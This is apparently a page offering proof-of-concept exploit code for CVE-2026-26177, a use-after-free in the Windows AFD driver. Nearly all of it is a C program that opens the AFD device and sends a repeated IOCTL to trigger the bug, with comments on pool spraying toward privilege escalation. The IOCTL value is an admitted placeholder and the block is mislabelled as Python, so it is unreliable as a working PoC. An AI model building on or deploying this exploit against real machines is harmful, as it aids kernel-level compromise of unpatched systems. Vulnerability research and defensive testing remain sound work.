Microsoft Windows (具体受影响版本请参考 MSRC 更新指南 CVE-2026-26177)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC Concept for CVE-2026-26177
// This is a simplified demonstration of the UAF trigger logic.
#include <windows.h>
#include <stdio.h>
#define IOCTL_VULN_TRIGGER 0x0001203F // Example IOCTL, replace with actual value
int main() {
HANDLE hDevice;
DWORD bytesReturned;
BYTE inputBuffer[0x20] = {0};
BYTE outputBuffer[0x10] = {0};
printf("[+] Attempting to open AFD device...\n");
hDevice = CreateFileA("\\\\.\\Afd",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device. Error: %d\n", GetLastError());
return 1;
}
printf("[+] Device handle obtained. Triggering UAF...\n");
// Step 1: Free the object
DeviceIoControl(hDevice, IOCTL_VULN_TRIGGER, inputBuffer, sizeof(inputBuffer),
outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);
// Step 2: Reallocation (Pool Feng Shui) would happen here
// Spray the pool to reclaim the freed memory with controlled payload
// Step 3: Use the freed object (Dangling pointer dereference)
// This may lead to BSOD or code execution depending on the spray
DeviceIoControl(hDevice, IOCTL_VULN_TRIGGER, inputBuffer, sizeof(inputBuffer),
outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);
printf("[+] IOCTLs sent. Check for crash or privilege escalation.\n");
CloseHandle(hDevice);
return 0;
}